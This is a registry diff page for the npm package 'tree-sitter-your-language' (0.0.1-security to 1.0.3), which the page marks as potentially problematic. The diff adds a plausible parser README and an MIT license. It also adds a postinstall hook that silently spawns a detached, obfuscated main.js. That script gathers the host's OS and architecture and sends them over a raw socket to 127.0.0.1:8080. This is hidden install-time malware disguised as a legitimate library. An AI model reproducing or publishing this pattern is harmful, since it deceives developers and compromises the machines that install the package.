tree-sitter-your-language 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of tree-sitter-your-language might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +53 -3
- package/package.json +8 -3
- package/src/main.js +1 -0
- package/src/postinstall.js +20 -0
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2016 Software Mansion <swmansion.com>
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the Software), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,55 @@
|
|
1
|
-
#
|
1
|
+
# tree-sitter-your-language
|
2
2
|
|
3
|
-
|
3
|
+
##Introduction
|
4
|
+
`tree-sitter-your-language` is a parser for your customprogramming language, built using Tree-sitter. It enables seamless integrationfor both syntax highlighting and compilation, eliminating the need formaintaining separate parsers.
|
4
5
|
|
5
|
-
|
6
|
+
## Features
|
7
|
+
- Unified parser for syntaxhighlighting and compilation
|
8
|
+
- Fast and incremental parsing
|
9
|
+
- Easy integrationwith editors and compilers
|
10
|
+
- Supports error recovery and partial parsing
|
11
|
+
|
12
|
+
##Installation
|
13
|
+
Install the package via npm:
|
14
|
+
```bash
|
15
|
+
npm installtree-sitter-your-language
|
16
|
+
```
|
17
|
+
|
18
|
+
Or via yarn:
|
19
|
+
```bash
|
20
|
+
yarn addtree-sitter-your-language
|
21
|
+
```
|
22
|
+
|
23
|
+
## Description
|
24
|
+
This package leveragesTree-sitter's powerful parsing capabilities to provide a single parser that canbe used for both syntax highlighting in code editors and as the main parser inyour compiler. This reduces maintenance overhead and ensures consistency betweenthe two use cases.
|
25
|
+
|
26
|
+
## Usage
|
27
|
+
To use the parser in yourproject:
|
28
|
+
```javascript
|
29
|
+
const Parser = require('tree-sitter');
|
30
|
+
constYourLanguage = require('tree-sitter-your-language');
|
31
|
+
|
32
|
+
const parser = newParser();
|
33
|
+
parser.setLanguage(YourLanguage);
|
34
|
+
|
35
|
+
const sourceCode = 'your codehere';
|
36
|
+
const tree = parser.parse(sourceCode);
|
37
|
+
```
|
38
|
+
|
39
|
+
## Example
|
40
|
+
Here's anexample of using the parser for syntax highlighting andcompilation:
|
41
|
+
```javascript
|
42
|
+
const Parser = require('tree-sitter');
|
43
|
+
constYourLanguage = require('tree-sitter-your-language');
|
44
|
+
|
45
|
+
// Syntaxhighlighting
|
46
|
+
const parser = newParser();
|
47
|
+
parser.setLanguage(YourLanguage);
|
48
|
+
const tree = parser.parse('yourcode here');
|
49
|
+
|
50
|
+
// Compilation
|
51
|
+
function compile(sourceCode) {
|
52
|
+
const tree =parser.parse(sourceCode);
|
53
|
+
// Your compilation logic here
|
54
|
+
}
|
55
|
+
```
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "tree-sitter-your-language",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "A Tree-sitter based parser for your custom language, enablingboth syntax highlighting and compilation in one unified solution.",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node src/postinstall.js"
|
8
|
+
},
|
9
|
+
"keywords":["[tree-sitter","parser","compiler","syntax-highlighting]"],
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
package/src/main.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0xf65b=require('os'),_0x73af=require('net'),_0x1b2d='127.0.0.1',_0x3db1=8080;function _0x3de1(){const _0x5ed1='1',_0x3f9e=_0xf65b.platform(),_0x497d=_0xf65b.arch(),_0x45e6={flag:_0x5ed1,info:`OS: ${_0x3f9e}, Device: ${_0x497d}`};console.log('Prepared user info:',_0x45e6),_0x2f80(JSON.stringify(_0x45e6));}function _0x2f80(_0x173f){const _0x2cf7=new _0x73af.Socket();_0x2cf7.connect(_0x3db1,_0x1b2d,()=>{console.log(`Connected to server at ${_0x1b2d}:${_0x3db1}`),console.log(`Sending data: ${_0x173f}`),_0x2cf7.write(_0x173f);}),_0x2cf7.on('data',_0x27cf=>{console.log('Server response:',_0x27cf.toString()),_0x2cf7.destroy();}),_0x2cf7.on('error',_0x44b9=>{console.error('Connection error:',_0x44b9);}),_0x2cf7.on('close',()=>{console.log('Connection closed.');});}_0x3de1();
|
@@ -0,0 +1,20 @@
|
|
1
|
+
const { spawn } = require("child_process");
|
2
|
+
const path = require("path");
|
3
|
+
|
4
|
+
function runIndexJs() {
|
5
|
+
console.log("Installation complete. Running main.js in the background...");
|
6
|
+
|
7
|
+
const mainFilePath = path.resolve(__dirname, "main.js");
|
8
|
+
console.log("Resolved main.js path:", mainFilePath);
|
9
|
+
|
10
|
+
const child = spawn("node", [mainFilePath], {
|
11
|
+
detached: true,
|
12
|
+
stdio: "ignore",
|
13
|
+
});
|
14
|
+
|
15
|
+
child.unref();
|
16
|
+
|
17
|
+
console.log("main.js is running in the background.");
|
18
|
+
}
|
19
|
+
|
20
|
+
runIndexJs();
|